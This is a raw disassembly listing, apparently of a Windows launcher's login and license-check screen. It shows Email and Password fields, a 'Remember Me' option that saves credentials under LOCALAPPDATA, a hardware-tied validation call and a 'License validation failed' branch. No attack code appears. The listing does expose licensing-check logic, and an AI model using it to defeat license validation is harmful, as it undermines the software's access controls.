lea rcx, [rsp + 0x110]
call fcn.140037d80
movss xmm3, dword [rsp + 0x64]
movaps xmm1, xmm3
addss xmm1, dword [0x1401ff334]
movss xmm2, dword [rsp + 0x60]
movaps xmm0, xmm2
addss xmm0, dword [0x1401ff33c]
addss xmm2, dword [0x1401ff328]
addss xmm3, dword [0x1401ff310]
mov dword [rsp + 0x38], ebx
mov dword [rsp + 0x30], eax
unpcklps xmm0, xmm1
movsd qword [rsp + 0x28], xmm0
unpcklps xmm2, xmm3
movsd qword [rsp + 0x20], xmm2
mov r9d, dword [rsi + 0x20]
mov r8d, edi
mov rdx, rsi
mov rcx, qword [0x140663718]
call fcn.1400098c0
mov rcx, qword [0x1406636f8]
call fcn.1400073b0
mov rdi, rax
mov rcx, qword [0x140663700]
movups xmm0, xmmword [rcx + 0x90]
movups xmmword [rsp + 0x80], xmm0
shufps xmm0, xmm0, 0xff
mov rcx, qword [0x1406634a0]
mulss xmm0, dword [rcx + 0x38e8]
movss dword [rsp + 0x8c], xmm0
lea rcx, [rsp + 0x80]
call fcn.140037d80
mov ebx, eax
mov rcx, qword [0x1406636f8]
call fcn.1400073b0
mov rdx, rax
movss xmm7, dword [0x1401ff3bc]
movss dword [rsp + 0x20], xmm7
xor r9d, r9d
xor r8d, r8d
lea rcx, [rsp + 0x738]
call fcn.14003de30
movss xmm2, dword [0x1401ff338]
subss xmm2, dword [rax + 4]
mulss xmm2, xmm8
movss xmm0, dword [rsp + 0x60]
addss xmm0, dword [0x1401ff358]
movss dword [rsp + 0x260], xmm0
movss xmm1, dword [rsp + 0x64]
addss xmm1, xmm2
movss dword [rsp + 0x264], xmm1
mov rax, qword [0x140663708]
mov r8, qword [rax + 0xb8]
mov qword [rsp + 0x48], r14
movss dword [rsp + 0x40], xmm12
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], ebx
lea rax, [rsp + 0x260]
mov qword [rsp + 0x20], rax
movss xmm3, dword [r8 + 0x14]
mov rdx, rsi
mov rcx, qword [0x140663718]
call fcn.140009ec0
mov rcx, qword [0x1406636f8]
add rcx, 0x20
call fcn.1400073b0
mov rdi, rax
mov rcx, qword [0x140663700]
movups xmm0, xmmword [rcx + 0xb0]
movups xmmword [rsp + 0x80], xmm0
shufps xmm0, xmm0, 0xff
mov rcx, qword [0x1406634a0]
mulss xmm0, dword [rcx + 0x38e8]
movss dword [rsp + 0x8c], xmm0
lea rcx, [rsp + 0x80]
call fcn.140037d80
mov ebx, eax
mov rcx, qword [0x1406636f8]
add rcx, 0x20
call fcn.1400073b0
mov rdx, rax
movss dword [rsp + 0x20], xmm7
xor r9d, r9d
xor r8d, r8d
lea rcx, [rsp + 0x740]
call fcn.14003de30
movss xmm0, dword [0x1401ff354]
subss xmm0, dword [rax + 4]
mulss xmm0, xmm8
movss xmm1, dword [rsp + 0x64]
addss xmm1, xmm0
movss xmm0, dword [rsp + 0x60]
addss xmm0, dword [0x1401ff358]
movss dword [rsp + 0x268], xmm0
movss dword [rsp + 0x26c], xmm1
mov rax, qword [0x140663708]
mov r8, qword [rax + 0xb8]
mov qword [rsp + 0x48], r14
movss dword [rsp + 0x40], xmm12
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], ebx
lea rax, [rsp + 0x268]
mov qword [rsp + 0x20], rax
movss xmm3, dword [r8 + 0x14]
mov rdx, rsi
mov rcx, qword [0x140663718]
call fcn.140009ec0
mov rax, qword [0x140663700]
movups xmm0, xmmword [rax]
movups xmmword [rsp + 0x80], xmm0
shufps xmm0, xmm0, 0xff
mov rax, qword [0x1406634a0]
mulss xmm0, dword [rax + 0x38e8]
movss dword [rsp + 0x8c], xmm0
lea rcx, [rsp + 0x80]
call fcn.140037d80
mov ebx, eax
mov rcx, qword [0x140663708]
movss xmm6, dword [rcx + 4]
movss dword [rsp + 0x20], xmm7
xor r9d, r9d
xor r8d, r8d
lea rdi, [0x1401f9868]
mov rdx, rdi
lea rcx, [rsp + 0x748]
call fcn.14003de30
movss xmm0, dword [rax + 4]
mov rcx, qword [0x1406636f8]
addss xmm0, dword [rcx + 0x12c]
mulss xmm0, xmm8
subss xmm6, xmm0
movss xmm0, dword [rsp + 0x60]
addss xmm0, dword [0x1401ff328]
movss dword [rsp + 0x270], xmm0
movss xmm1, dword [rsp + 0x64]
addss xmm1, xmm6
movss dword [rsp + 0x274], xmm1
mov rax, qword [0x140663708]
mov r8, qword [rax + 0xd8]
mov qword [rsp + 0x48], r14
movss dword [rsp + 0x40], xmm12
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], ebx
lea rax, [rsp + 0x270]
mov qword [rsp + 0x20], rax
movss xmm3, dword [r8 + 0x14]
mov rdx, rsi
mov rcx, qword [0x140663718]
call fcn.140009ec0
mov rcx, qword [0x1406636f8]
add rcx, 0x40
call fcn.1400073b0
mov rdi, rax
mov rcx, qword [0x140663700]
movups xmm0, xmmword [rcx + 0x90]
movups xmmword [rsp + 0x80], xmm0
shufps xmm0, xmm0, 0xff
mov rcx, qword [0x1406634a0]
mulss xmm0, dword [rcx + 0x38e8]
movss dword [rsp + 0x8c], xmm0
lea rcx, [rsp + 0x80]
call fcn.140037d80
mov ebx, eax
mov rcx, qword [0x140663708]
movss xmm6, dword [rcx + 4]
mov rcx, qword [0x1406636f8]
add rcx, 0x40
call fcn.1400073b0
mov rdx, rax
movss dword [rsp + 0x20], xmm7
xor r9d, r9d
xor r8d, r8d
lea rcx, [rsp + 0x750]
call fcn.14003de30
movss xmm0, dword [rax + 4]
mov rax, qword [0x1406636f8]
addss xmm0, dword [rax + 0x12c]
mulss xmm0, xmm8
subss xmm6, xmm0
movss xmm0, dword [rsp + 0x60]
addss xmm0, dword [0x1401ff344]
movss dword [rsp + 0x278], xmm0
movss xmm1, dword [rsp + 0x64]
addss xmm1, xmm6
movss dword [rsp + 0x27c], xmm1
mov rax, qword [0x140663708]
mov r8, qword [rax + 0xb0]
mov qword [rsp + 0x48], r14
movss dword [rsp + 0x40], xmm12
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], ebx
lea rax, [rsp + 0x278]
mov qword [rsp + 0x20], rax
movss xmm3, dword [r8 + 0x14]
mov rdx, rsi
mov rcx, qword [0x140663718]
call fcn.140009ec0
mov rcx, qword [0x1406636f8]
mov eax, dword [rcx + 0x144]
cmp dword [rcx + 0x140], eax
jne 0x140072a07
movaps xmm1, xmm14
jmp 0x140072a0a
movaps xmm1, xmm7
mov rax, qword [0x1406634a0]
movss xmm0, dword [rax + 0x18]
mulss xmm0, dword [0x1401ff2d0]
mulss xmm0, xmm1
addss xmm0, dword [rcx + 0x138]
comiss xmm12, xmm0
jbe 0x140072a36
movaps xmm1, xmm12
jmp 0x140072a3e
movaps xmm1, xmm14
minss xmm1, xmm0
movss dword [rcx + 0x138], xmm1
mov rcx, qword [0x1406636f8]
movss xmm0, dword [rcx + 0x138]
ucomiss xmm0, xmm12
jp 0x140072c0c
jne 0x140072c0c
movss xmm0, dword [rcx + 0x13c]
ucomiss xmm0, xmm12
jp 0x140072c0c
jne 0x140072c0c
movss xmm6, dword [0x1401ff298]
movaps xmm1, xmm6
mov rcx, qword [0x140663710]
call fcn.14000b1f0
mov rax, qword [0x1406636f8]
movss xmm1, dword [rax + 0x138]
ucomiss xmm1, xmm12
jp 0x140072ab1
jne 0x140072ab1
movaps xmm1, xmm14
jmp 0x140072ab5
movaps xmm1, xmm12
movaps xmm2, xmm0
movss xmm0, dword [rax + 0x88]
call fcn.14007b380
mov rax, qword [0x1406636f8]
movss dword [rax + 0x88], xmm0
movaps xmm1, xmm6
mov rcx, qword [0x140663710]
call fcn.14000b1f0
mov rax, qword [0x1406636f8]
movss xmm1, dword [rax + 0x88]
comiss xmm1, dword [0x1401ff264]
setae r8b
lea edx, [rax + 0x8c]
mov dword [rsp + 0x30], r14d
movss dword [rsp + 0x28], xmm0
movss xmm0, dword [0x1401ff32c]
movss dword [rsp + 0x20], xmm0
movaps xmm3, xmm12
mov rcx, qword [0x1406636f0]
call fcn.14001b450
mov rax, qword [0x1406636f8]
movss dword [rax + 0x8c], xmm0
movss xmm2, dword [rsp + 0x6c]
subss xmm2, dword [0x1401ff2d4]
mulss xmm2, xmm8
addss xmm2, xmm0
movss xmm1, dword [rsp + 0x68]
movss xmm6, dword [0x1401ff368]
subss xmm1, xmm6
mulss xmm1, xmm8
lea rcx, [rsp + 0x458]
call fcn.140001c70
lea rdx, [rsp + 0x458]
mov rcx, qword [0x140663710]
call fcn.140011ab0
movss xmm2, dword [0x1401ff2d4]
movaps xmm1, xmm6
lea rcx, [rsp + 0x490]
call fcn.140001c70
movss dword [rsp + 0x20], xmm14
lea r9, str.LOADING
lea r8, [rsp + 0x490]
mov rax, qword [0x1406636f8]
movss xmm1, dword [rax + 0x88]
mov rcx, qword [0x140663710]
call fcn.140018e80
mov rcx, qword [0x1406636f8]
movss xmm0, dword [rcx + 0x88]
comiss xmm0, dword [0x1401ff264]
jb 0x140072c0c
mov eax, dword [rcx + 0x140]
mov dword [rcx + 0x144], eax
mov rax, qword [0x1406636f8]
mov dword [rax + 0x88], r14d
mov rcx, qword [0x1406636f8]
movss xmm2, dword [rcx + 0x138]
mov rax, qword [rsp + 0x280]
mulss xmm2, dword [rax]
xor edx, edx
mov rcx, qword [0x140663710]
call fcn.140011550
mov rax, qword [0x1406636f8]
mov ecx, dword [rax + 0x144]
test ecx, ecx
jne 0x140073984
movss xmm1, dword [rsp + 0x68]
movss xmm6, dword [0x1401ff344]
subss xmm1, xmm6
movaps xmm2, xmm12
lea rcx, [rsp + 0x4b8]
call fcn.140001c70
lea rdx, [rsp + 0x4b8]
mov rcx, qword [0x140663710]
call fcn.140011ab0
movaps xmm2, xmm8
movss xmm1, dword [0x1401ff22c]
lea rcx, [rsp + 0x4e8]
call fcn.140001c70
movaps xmm2, xmm6
movaps xmm1, xmm6
lea rcx, [rsp + 0x4f0]
call fcn.140001c70
lea r9, [rsp + 0x4e8]
lea r8, [rsp + 0x4f0]
lea rdx, [0x1401f986c]
mov rcx, qword [0x140663710]
call fcn.140018420
test al, al
je 0x140072cd5
xor ecx, ecx
call qword [sym.imp.USER32.dll_PostQuitMessage]
movaps xmm2, xmm6
movaps xmm1, xmm12
lea rcx, [rsp + 0x4e0]
call fcn.140001c70
lea rdx, [rsp + 0x4e0]
mov rcx, qword [0x140663710]
call fcn.140011ab0
mov rcx, qword [0x140663710]
call fcn.140011b90
mov rax, qword [0x140663708]
movss xmm2, dword [rax + 4]
subss xmm2, dword [0x1401ff364]
movss xmm1, dword [rax]
mulss xmm1, xmm8
lea rcx, [rsp + 0x4d8]
call fcn.140001c70
lea rdx, str.LOGIN__REGISTER
lea rcx, [rsp + 0xa50]
call fcn.14001a3d0
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x80], xmm0
mov dword [rsp + 0x20], r14d
xor r9d, r9d
lea r8, [rsp + 0x4d8]
lea rdx, [rsp + 0x80]
mov rcx, qword [0x140663710]
call fcn.140016f20
lea rcx, [rsp + 0x758]
call fcn.1400470c0
movss xmm1, dword [rax]
subss xmm1, dword [0x1401ff368]
mulss xmm1, xmm8
mov rax, qword [0x1406636f8]
movss xmm2, dword [rax + 0x134]
subss xmm2, dword [0x1401ff354]
mulss xmm2, xmm8
lea rcx, [rsp + 0x4d0]
call fcn.140001c70
lea rdx, [rsp + 0x4d0]
mov rcx, qword [0x140663710]
call fcn.140011ab0
mov rcx, qword [0x140663710]
call fcn.140011b90
movss xmm2, dword [0x1401ff320]
movss xmm1, dword [0x1401ff368]
lea rcx, [rsp + 0x4c8]
call fcn.140001c70
mov rbx, qword [0x1406636f8]
lea rdx, [0x1401f9864]
lea rcx, [rsp + 0xa60]
call fcn.14001a3d0
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x80], xmm0
lea rdx, str.Email
lea rcx, [rsp + 0xa70]
call fcn.14001a3d0
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], r14d
lea rax, [rsp + 0x4c8]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x40
lea r9, [rbx + 0x168]
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x110]
mov rcx, qword [0x140663710]
call fcn.140016cc0
xor ecx, ecx
call fcn.14003a7e0
test al, al
je 0x140072e9c
mov ecx, 7
call fcn.140044d90
movss xmm2, dword [0x1401ff320]
movss xmm1, dword [0x1401ff368]
lea rcx, [rsp + 0x4c0]
call fcn.140001c70
mov rbx, qword [0x1406636f8]
lea rdx, [0x1401f985c]
lea rcx, [rsp + 0xa80]
call fcn.14001a3d0
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x80], xmm0
lea rdx, str.Password
lea rcx, [rsp + 0xa90]
call fcn.14001a3d0
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x110], xmm0
mov qword [rsp + 0x40], r14
mov qword [rsp + 0x38], r14
mov dword [rsp + 0x30], 0x8000
lea rax, [rsp + 0x4c0]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], 0x80
lea r9, [rbx + 0x1a8]
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0x110]
mov rcx, qword [0x140663710]
call fcn.140016cc0
xor ecx, ecx
call fcn.14003a7e0
test al, al
je 0x140072f5e
mov ecx, 7
call fcn.140044d90
mov rcx, qword [0x140663710]
call fcn.140011a80
mov rax, qword [0x1406636f8]
addss xmm0, dword [rax + 0x84]
movaps xmm1, xmm0
mov rcx, qword [0x140663710]
call fcn.140011b10
lea r8, [0x1406634b1]
lea rdx, str.Remember_Me
mov rcx, qword [0x140663710]
call fcn.140017130
test al, al
je 0x140072fbb
xor ecx, ecx
call fcn.14003a7e0
test al, al
je 0x140072fbb
mov ecx, 7
call fcn.140044d90
movss xmm2, dword [0x1401ff320]
movss xmm1, dword [0x1401ff368]
lea rcx, [rsp + 0x4a8]
call fcn.140001c70
lea r8, [rsp + 0x4a8]
lea rdx, str.LAUNCH
mov rcx, qword [0x140663710]
call fcn.1400173f0
test al, al
je 0x140073547
lea rcx, [rsp + 0xd0]
call fcn.140035040
nop
lea rcx, [rsp + 0x5a0]
call fcn.1400350e0
nop
lea rcx, [rsp + 0x868]
call fcn.140035210
nop
lea rcx, [rsp + 0x848]
call fcn.140035310
nop
lea rdx, str.Mainboard_illusion
lea rcx, [rsp + 0x280]
call fcn.140007420
nop
mov rdx, qword [0x1406636f8]
add rdx, 0x168
lea rcx, [rsp + 0x80]
call fcn.140007420
nop
mov rdx, qword [0x1406636f8]
add rdx, 0x1a8
lea rcx, [rsp + 0xa8]
call fcn.140007420
nop
lea rax, [rsp + 0x280]
mov qword [rsp + 0x38], rax
lea rax, [rsp + 0x848]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x868]
mov qword [rsp + 0x28], rax
lea rax, [rsp + 0x5a0]
mov qword [rsp + 0x20], rax
lea r9, [rsp + 0xd0]
lea r8, [rsp + 0x80]
lea rdx, [rsp + 0xa8]
lea rcx, [0x140663560]
call fcn.140020000
movzx ebx, al
lea rcx, [rsp + 0xa8]
call fcn.1400073c0
nop
lea rcx, [rsp + 0x80]
call fcn.1400073c0
test bl, bl
je 0x140073471
cmp byte [0x1406634b1], 0
je 0x1400732a1
lea rcx, str.LOCALAPPDATA
call fcn.140182454
mov rdx, rax
lea rcx, [rsp + 0x370]
call fcn.140007420
nop
lea r8, str.illusion
lea rdx, [rsp + 0x370]
lea rcx, [rsp + 0xa8]
call fcn.140035540
nop
lea r8, str.data.illusion
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x1d0]
call fcn.140035540
nop
xor r8d, r8d
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x110]
call fcn.14007b230
nop
lea rcx, [rsp + 0x110]
call fcn.14006f130
movzx ebx, al
lea rcx, [rsp + 0x110]
call fcn.14006eaf0
test bl, bl
jne 0x1400731d0
xor r8d, r8d
lea rdx, [rsp + 0xa8]
lea rcx, [rsp + 0x110]
call fcn.14007b230
nop
lea rcx, [rsp + 0x110]
call fcn.14006f220
nop
lea rcx, [rsp + 0x110]
call fcn.14006eaf0
mov dword [rsp + 0x20], r12d
mov r9d, 0x40
mov r8d, 2
lea rdx, [rsp + 0x1d0]
lea rcx, [rsp + 0x890]
call fcn.140024110
nop
lea rcx, [rsp + 0x890]
call fcn.140024100
test al, al
je 0x14007326a
mov rdx, qword [0x1406636f8]
add rdx, 0x168
lea rcx, [rsp + 0x890]
call fcn.14001cf60
lea rdx, [fcn.140034d80]
mov rcx, rax
call fcn.140034d00
mov rdx, qword [0x1406636f8]
add rdx, 0x1a8
lea rcx, [rsp + 0x890]
call fcn.14001cf60
lea rdx, [fcn.140034d80]
mov rcx, rax
call fcn.140034d00
lea rcx, [rsp + 0x890]
call fcn.140024060
nop
lea rcx, [rsp + 0x890]
call fcn.1400220e0
nop
lea rcx, [rsp + 0x1d0]
call fcn.1400073c0
nop
lea rcx, [rsp + 0xa8]
call fcn.1400073c0
nop
lea rcx, [rsp + 0x370]
call fcn.1400073c0
mov rdx, qword [0x1406636f8]
add rdx, 0x168
lea rcx, [rsp + 0xa8]
call fcn.140007420
nop
lea rdx, [rsp + 0xa8]
lea rcx, [0x140663560]
call fcn.140020f90
nop
lea rcx, [rsp + 0xa8]
call fcn.1400073c0
mov rcx, qword [0x1406636f8]
add rcx, 0x60
lea rdx, [0x140663560]
call fcn.140034000
lea rdx, [0x1406635a8]
lea rcx, [rsp + 0xa8]
call fcn.14006f440
mov rbx, rax
mov rcx, qword [0x1406636f8]
add rcx, 0xe0
xor edx, edx
call fcn.14007a790
mov rcx, rax
mov rdx, rbx
call fcn.14001ceb0
lea rcx, [rsp + 0xa8]
call fcn.1400073c0
mov qword [rsp + 0x500], r14
mov dword [rsp + 0x508], r14d
mov qword [rsp + 0x518], r14
mov dword [rsp + 0x520], r14d
mov dword [rsp + 0x514], 0x7c
mov dword [rsp + 0x510], 5
mov dword [rsp + 0x50c], 0xb
lea rcx, [rsp + 0x500]
call fcn.1400701a0
mov edx, eax
lea rcx, [rsp + 0xa8]
call fcn.14001e290
nop
lea r8, str._days_ago
mov rdx, rax
lea rcx, [rsp + 0x300]
call fcn.140007ee0
nop
lea rcx, [rsp + 0xa8]
call fcn.1400073c0
lea rcx, [rsp + 0x80]
call fcn.14002fa00
nop
lea rdx, [rsp + 0x80]
lea rcx, [0x140663580]
call fcn.140022180
test al, al
je 0x140073446
lea rcx, [rsp + 0x80]
call fcn.140006f90
mov rbx, rax
lea rcx, [rsp + 0x80]
call fcn.140006fa0
mov qword [rsp + 0x30], r14
lea rcx, [0x1406636d8]
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r14
xor r9d, r9d
mov r8, rbx
mov rdx, rax
mov rcx, qword [0x140663640]
call qword [sym.imp.d3dx11_43.dll_D3DX11CreateShaderResourceViewFromMemory]
mov rcx, qword [0x1406636d8]
test rcx, rcx
je 0x140073446
mov rax, qword [0x140663708]
mov qword [rax + 0x90], rcx
mov rax, qword [0x1406636f8]
mov dword [rax + 0x140], r12d
lea rcx, [rsp + 0x80]
call fcn.1400299a0
nop
lea rcx, [rsp + 0x300]
call fcn.1400073c0
jmp 0x140073493
mov r9d, reloc.WS2_32.dll_recv
lea r8, str.Error
lea rdx, str.License_validation_failed.
mov rcx, qword [0x140663540]
call qword [sym.imp.USER32.dll_MessageBoxA]
nop
lea rcx, [rsp + 0x280]
call fcn.1400073c0
nop
lea rcx, [rsp + 0x848]
call fcn.1400073c0
nop
lea rcx, [rsp + 0x868]
call fcn.1400073c0
nop
lea rcx, [rsp + 0x5a0]
call fcn.1400073c0
nop
lea rcx, [rsp + 0xd0]
call fcn.1400073c0
nop
jmp 0x140073547
mov rcx, qword [0x140663710]
call fcn.140011cd0
mov rcx, qword [0x140663710]
call fcn.140017060
mov rax, qword [0x140663708]
movss xmm2, dword [rax + 4]
subss xmm2, dword [0x1401ff364]
movss xmm1, dword [rax]
mulss xmm1, xmm8
lea rcx, [rsp + 0x4a0]
call fcn.140001c70
movaps xmm2, xmm6
movaps xmm1, xmm12
lea rcx, [rsp + 0x498]
call fcn.140001c70
mov r8b, 1
lea rdx, [rsp + 0x4a0]
lea rcx, [rsp + 0x498]
call fcn.140044cc0
test al, al
je 0x1400735dc
call fcn.14003ad80
movss xmm0, dword [rax + 0x100]
ucomiss xmm0, xmm12
jp 0x1400735ce
je 0x1400735dc
mov rax, qword [0x1406636f8]
mov byte [rax + 0x131], 0
mov rcx, qword [0x1406636f8]
movss xmm0, dword [0x1401ff3cc]
comiss xmm0, dword [rcx + 0x134]
jb 0x140073612
cmp byte [rcx + 0x130], 0
sete al
mov byte [rcx + 0x130], al
mov rax, qword [0x1406636f8]
mov byte [rax + 0x131], 1
movaps xmm2, xmm12
movaps xmm1, xmm12
mov rcx, qword [0x140663710]
call fcn.1400118c0
mov rax, qword [0x140663708]
movss xmm2, dword [rax + 4]
subss xmm2, dword [0x1401ff364]
movss xmm1, dword [rax]
mulss xmm1, xmm8
lea rcx, [rsp + 0x488]
call fcn.140001c70
lea rdx, str.Preview
lea rcx, [rsp + 0xaa0]
call fcn.14001a3d0
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x80], xmm0
mov dword [rsp + 0x20], r14d
xor r9d, r9d
lea r8, [rsp + 0x488]
lea rdx, [rsp + 0x80]
mov rcx, qword [0x140663710]
call fcn.140016f20
lea rcx, [rsp + 0xc8]
call fcn.1400053e0
mov rbx, rax
mov rdx, qword [0x140663708]
mov rcx, qword [rdx + 0x70]
mov qword [rsp + 0x500], rcx
mov rcx, qword [rdx + 0x70]
mov qword [rsp + 0x508], rcx
mov rcx, qword [rdx + 0x70]
mov qword [rsp + 0x510], rcx
mov rcx, qword [rdx + 0x70]
mov qword [rsp + 0x518], rcx
mov rcx, qword [rdx + 0x70]
mov qword [rsp + 0x520], rcx
lea r8, [rsp + 0x528]
lea rdx, [rsp + 0x500]
lea rcx, [rsp + 0xa30]
call fcn.14002c1e0
movups xmm0, xmmword [rax]
movaps xmmword [rsp + 0x80], xmm0
mov r8, rbx
lea rdx, [rsp + 0x80]
lea rcx, [rsp + 0xa8]
call fcn.14007a460
nop
movss xmm1, dword [0x1401ff2dc]
mov rcx, qword [0x140663710]
call fcn.14000b1f0
mov rax, qword [0x1406636f8]
addss xmm0, dword [rax + 0x15c]
movss dword [rax + 0x15c], xmm0
mov rax, qword [0x1406636f8]
movss xmm0, dword [rax + 0x15c]
comiss xmm0, dword [0x1401ff2f4]
jb 0x140073780
inc dword [rax + 0x158]
mov rax, qword [0x1406636f8]
mov dword [rax + 0x15c], r14d
jmp 0x14007379e
cmp dword [rax + 0x158], 4
jl 0x14007379e
mov dword [rax + 0x15c], r14d
mov rax, qword [0x1406636f8]
mov dword [rax + 0x158], r14d
movss xmm6, dword [0x1401ff2f0]
movaps xmm1, xmm6
mov rcx, qword [0x140663710]
call fcn.14000b1f0
mov rax, qword [0x1406636f8]
comiss xmm6, dword [rax + 0x15c]
jb 0x1400737cb
movaps xmm1, xmm14
jmp 0x1400737cf
movaps xmm1, xmm12
movaps xmm2, xmm0
movss xmm0, dword [rax + 0x160]
call fcn.14007b380
mov rax, qword [0x1406636f8]
movss dword [rax + 0x160], xmm0
movss xmm1, dword [0x1401ff2dc]
mov rcx, qword [0x140663710]
call fcn.14000b1f0
mov rax, qword [0x1406636f8]
comiss xmm6, dword [rax + 0x15c]
setae r8b
lea edx, [rax + 0x164]
mov dword [rsp + 0x30], 2
movss dword [rsp + 0x28], xmm0
movss dword [rsp + 0x20], xmm12
movss xmm3, dword [0x1401ff3c4]
mov rcx, qword [0x1406636f0]
call fcn.14001b450
mov rax, qword [0x1406636f8]
movss dword [rax + 0x164], xmm0
mov rax, qword [0x140663708]
movss xmm1, dword [rax]
mulss xmm1, xmm8
subss xmm1, dword [0x1401ff380]
mulss xmm1, xmm8
addss xmm1, xmm0
movaps xmm2, xmm12
lea rcx, [rsp + 0x480]
call fcn.140001c70
lea rdx, [rsp + 0x480]
mov rcx, qword [0x140663710]
call fcn.140011ab0
mov rdx, qword [0x140663700]
add rdx, 0x10
mov rax, qword [0x1406636f8]
movss xmm2, dword [rax + 0x160]
mov rcx, qword [0x140663710]
call fcn.140011510
mov ebx, eax
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rsp + 0x478]
call fcn.140001c70
movaps xmm2, xmm12
movaps xmm1, xmm12
lea rcx, [rsp + 0x470]
call fcn.140001c70
movss xmm2, dword [0x1401ff370]
movss xmm1, dword [0x1401ff374]
lea rcx, [rsp + 0x468]
call fcn.140001c70
mov rcx, qword [0x1406636f8]
movsxd rdx, dword [rcx + 0x158]
lea rcx, [rsp + 0xa8]
call fcn.14007a440
movss dword [rsp + 0x30], xmm12
mov dword [rsp + 0x28], ebx
lea rcx, [rsp + 0x478]
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x470]
lea r8, [rsp + 0x468]
mov rdx, qword [rax]
mov rcx, qword [0x140663710]
call fcn.140018110
nop
lea rcx, [rsp + 0xa8]
call fcn.140029dd0
mov rcx, qword [0x140663710]
call fcn.140017060
mov rcx, qword [0x140663710]
call fcn.140011cd0
jmp 0x140074eef
cmp ecx, 1
jne 0x1400749cf
mov rdx, qword [0x140663700]
add rdx, 0x10
movaps xmm2, xmm14
mov rcx, qword [0x140663710]
call fcn.140011510
mov edi, eax
movaps xmm2, xmm14
movaps xmm1, xmm14
lea rcx, [rsp + 0x460]
call fcn.140001c70
movaps xmm2, xmm12
movaps xmm1, xmm12
lea rcx, [rsp + 0x450]
call fcn.140001c70
movss xmm1, dword [rsp + 0x68]
subss xmm1, dword [0x1401ff328]
movss xmm2, dword [0x1401ff334]
lea rcx, [rsp + 0x768]
call fcn.140001c70
mov r8, rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x770]
call fcn.14006f260
mov rbx, rax
movss xmm1, dword [rsp + 0x68]
subss xmm1, dword [0x1401ff33c]
movss xmm2, dword [0x1401ff310]
lea rcx, [rsp + 0x778]
call fcn.140001c70
mov r8, rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x780]
call fcn.14006f260
mov rcx, qword [0x140663708]
mov dword [rsp + 0x48], r14d
movss xmm0, dword [0x1401ff2f0]
movss dword [rsp + 0x40], xmm0
mov dword [rsp + 0x38], edi
lea rdx, [rsp + 0x460]
mov qword [rsp + 0x30], rdx
lea rdx, [rsp + 0x450]
mov qword [rsp + 0x28], rdx
mov qword [rsp + 0x20], rbx
mov r9, rax
mov r8, qword [rcx + 0x90]
mov rdx, rsi
mov rcx, qword [0x140663718]
call fcn.14000a050
mov rcx, qword [0x1406636f8]
add rcx, 0x60
call fcn.1400073b0
mov rdi, rax
mov rdx, qword [0x140663700]
add rdx, 0x90
movaps xmm2, xmm14
mov rcx, qword [0x140663710]
call fcn.140011510
mov ebx, eax
mov rcx, qword [0x1406636f8]
add rcx, 0x60
call fcn.1400073b0
mov rdx, rax
movss dword [rsp + 0x20], xmm7
xor r9d, r9d
xor r8d, r8d
lea rcx, [rsp + 0x788]
call fcn.14003de30
movss xmm6, dword [0x1401ff344]
subss xmm6, dword [rax + 4]
mulss xmm6, xmm8
mov rcx, qword [0x1406636f8]
add rcx, 0x60
call fcn.1400073b0
mov rdx, rax
movss dword [rsp + 0x20], xmm7
xor r9d, r9d
xor r8d, r8d
lea rcx, [rsp + 0x790]
call fcn.14003de30
movss xmm0, dword [rax]
addss xmm0, dword [0x1401ff35c]
movss xmm1, dword [rsp + 0x68]
subss xmm1, xmm0
movaps xmm2, xmm6
lea rcx, [rsp + 0x7b0]
call fcn.140001c70
mov r8, rax
lea rdx, [rsp + 0x60]
lea rcx, [rsp + 0x7b8]
call fcn.14006f260
mov rcx, qword [0x140663708]
mov r8, qword [rcx + 0xb8]
mov qword [rsp + 0x48], r14
movss dword [rsp + 0x40], xmm12
mov qword [rsp + 0x38], r14
mov qword [rsp + 0x30], rdi
mov dword [rsp + 0x28], ebx
mov qword [rsp + 0x20], rax
movss xmm3, dword [r8 + 0x14]
mov rdx, rsi
mov rcx, qword [0x140663718]
call fcn.140009ec0
movss xmm1, dword [0x1401ff2dc]
mov rcx, qword [0x140663710]
call fcn.14000b1f0
mov rdx, qword [0x1406636f8]
movss xmm1, dword [rdx + 0x148]
ucomiss xmm1, xmm12
jp 0x140073be7
jne 0x140073be7
mov r8b, 1
jmp 0x140073bea
xor r8d, r8d
add edx, 0x94
mov dword [rsp + 0x30], 2
movss dword [rsp + 0x28], xmm0
movss xmm0, dword [0x1401ff354]
movss dword [rsp + 0x20], xmm0
movss xmm3, dword [0x1401ff344]
mov rcx, qword [0x1406636f0]
call fcn.14001b450
mov rax, qword [0x1406636f8]
movss dword [rax + 0x94], xmm0
mov rcx, qword [0x1406636f8]
mov eax, dword [rcx + 0x154]
cmp dword [rcx + 0x150], eax
jne 0x140073c4a
movaps xmm6, xmm14
jmp 0x140073c4d
movaps xmm6, xmm7
call fcn.14003ad80
movss xmm0, dword [rax + 0x10]
mulss xmm0, dword [0x1401ff2d0]
mulss xmm0, xmm6
mov rax, qword [0x1406636f8]
addss xmm0, dword [rax + 0x148]
movaps xmm2, xmm14
movaps xmm1, xmm12
call fcn.14007b390
mov rax, qword [0x1406636f8]
movss dword [rax + 0x148], xmm0
ucomiss xmm0, xmm12
jp 0x140073cb9
jne 0x140073cb9
mov rcx, qword [0x1406636f8]
movss xmm0, dword [rcx + 0x14c]
